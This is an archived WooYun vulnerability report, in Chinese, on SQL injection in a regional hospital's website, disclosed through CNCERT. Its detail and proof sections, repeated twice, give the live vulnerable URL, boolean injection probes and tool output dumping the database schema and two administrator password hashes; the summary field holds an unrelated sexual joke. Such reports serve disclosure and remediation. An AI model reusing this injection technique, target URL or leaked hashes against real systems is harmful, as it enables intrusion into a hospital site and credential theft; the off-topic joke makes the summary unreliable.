当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-087967

漏洞标题:某地区医院存在SQL注入

相关厂商:某地区医院SQL注入

漏洞作者: 路人甲

提交时间:2014-12-22 15:00

修复时间:2015-02-05 15:02

公开时间:2015-02-05 15:02

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-22: 细节已通知厂商并且等待厂商处理中
2014-12-26: 厂商已经确认,细节仅向厂商公开
2015-01-05: 细节向核心白帽子及相关领域专家公开
2015-01-15: 细节向普通白帽子公开
2015-01-25: 细节向实习白帽子公开
2015-02-05: 细节向公众公开

简要描述:

一对新婚夫妻进入洞房里,丈夫说:“我十年寒窗苦学,现在我就要进入考场,这是大考呀!”
妻子马上脱掉衣服,笑着说:“请考生入场。”
丈夫很快完事,然后起身去洗手间。
妻子马上拉着丈夫的手,温柔地说:“你别跑,考试成绩不及格,给你一次补考的机会。”

详细说明:

存在问题的URL:http://www.bjsdermyy.com/newshow.php?id=1117
http://www.bjsdermyy.com/newshow.php?id=1117 and 1=1 正常
http://www.bjsdermyy.com/newshow.php?id=1117 and 1=2 报错
Analyzing http://www.bjsdermyy.com/newshow.php?id=1117 with 1 input parameter(s)
Test parameter: id
Host IP: 222.76.213.43
Web Server: Apache/2.2.0 (Unix)
Powered-by: PHP/5.2.17
Keyword Found: ?????е????????
FInjection type is Integer
FDB Server: MySQL >=5
FSelected Column Count is 15
FValid String Column is 3
FCurrent DB: bjerynet
Count(table_name) of information_schema.tables where table_schema=0x626A6572796E6574 is 6
Tables found: counter,member,new,type,users,wsly_k
Count(column_name) of information_schema.columns where table_schema=0x626A6572796E6574 and table_name=0x636F756E746572 is 3
Columns found: id,sign,counts
Count(column_name) of information_schema.columns where table_schema=0x626A6572796E6574 and table_name=0x6D656D626572 is 8
Columns found: id,name,zw,time,zc,tel,jj,img
Count(column_name) of information_schema.columns where table_schema=0x626A6572796E6574 and table_name=0x6E6577 is 15
Columns found: id,type,title,content,time,fromto,img,counts,checked,passed,recommend,hot,sign,url,parentid
Count(column_name) of information_schema.columns where table_schema=0x626A6572796E6574 and table_name=0x74797065 is 4
Columns found: id,name,sign,parentid
Count(column_name) of information_schema.columns where table_schema=0x626A6572796E6574 and table_name=0x7573657273 is 6
Columns found: id,name,password,purview,counts,time
Count(column_name) of information_schema.columns where table_schema=0x626A6572796E6574 and table_name=0x77736C795F6B is 11
Columns found: id,name,tel,email,title,content,time,type,yn,reply,checked
Count(*) of bjerynet.users is 2
Data Found: id,password=1^082edcf674cfefd4b7b165373d68f8a7
Data Found: id,password=2^b6dbd6a6f856e8abc65b24010abc63e9

漏洞证明:

存在问题的URL:http://www.bjsdermyy.com/newshow.php?id=1117
http://www.bjsdermyy.com/newshow.php?id=1117 and 1=1 正常
http://www.bjsdermyy.com/newshow.php?id=1117 and 1=2 报错
Analyzing http://www.bjsdermyy.com/newshow.php?id=1117 with 1 input parameter(s)
Test parameter: id
Host IP: 222.76.213.43
Web Server: Apache/2.2.0 (Unix)
Powered-by: PHP/5.2.17
Keyword Found: ?????е????????
FInjection type is Integer
FDB Server: MySQL >=5
FSelected Column Count is 15
FValid String Column is 3
FCurrent DB: bjerynet
Count(table_name) of information_schema.tables where table_schema=0x626A6572796E6574 is 6
Tables found: counter,member,new,type,users,wsly_k
Count(column_name) of information_schema.columns where table_schema=0x626A6572796E6574 and table_name=0x636F756E746572 is 3
Columns found: id,sign,counts
Count(column_name) of information_schema.columns where table_schema=0x626A6572796E6574 and table_name=0x6D656D626572 is 8
Columns found: id,name,zw,time,zc,tel,jj,img
Count(column_name) of information_schema.columns where table_schema=0x626A6572796E6574 and table_name=0x6E6577 is 15
Columns found: id,type,title,content,time,fromto,img,counts,checked,passed,recommend,hot,sign,url,parentid
Count(column_name) of information_schema.columns where table_schema=0x626A6572796E6574 and table_name=0x74797065 is 4
Columns found: id,name,sign,parentid
Count(column_name) of information_schema.columns where table_schema=0x626A6572796E6574 and table_name=0x7573657273 is 6
Columns found: id,name,password,purview,counts,time
Count(column_name) of information_schema.columns where table_schema=0x626A6572796E6574 and table_name=0x77736C795F6B is 11
Columns found: id,name,tel,email,title,content,time,type,yn,reply,checked
Count(*) of bjerynet.users is 2
Data Found: id,password=1^082edcf674cfefd4b7b165373d68f8a7
Data Found: id,password=2^b6dbd6a6f856e8abc65b24010abc63e9

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2014-12-26 17:32

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给陕西分中心,由陕西分中心后续协调网站管理单位处置。

最新状态:

暂无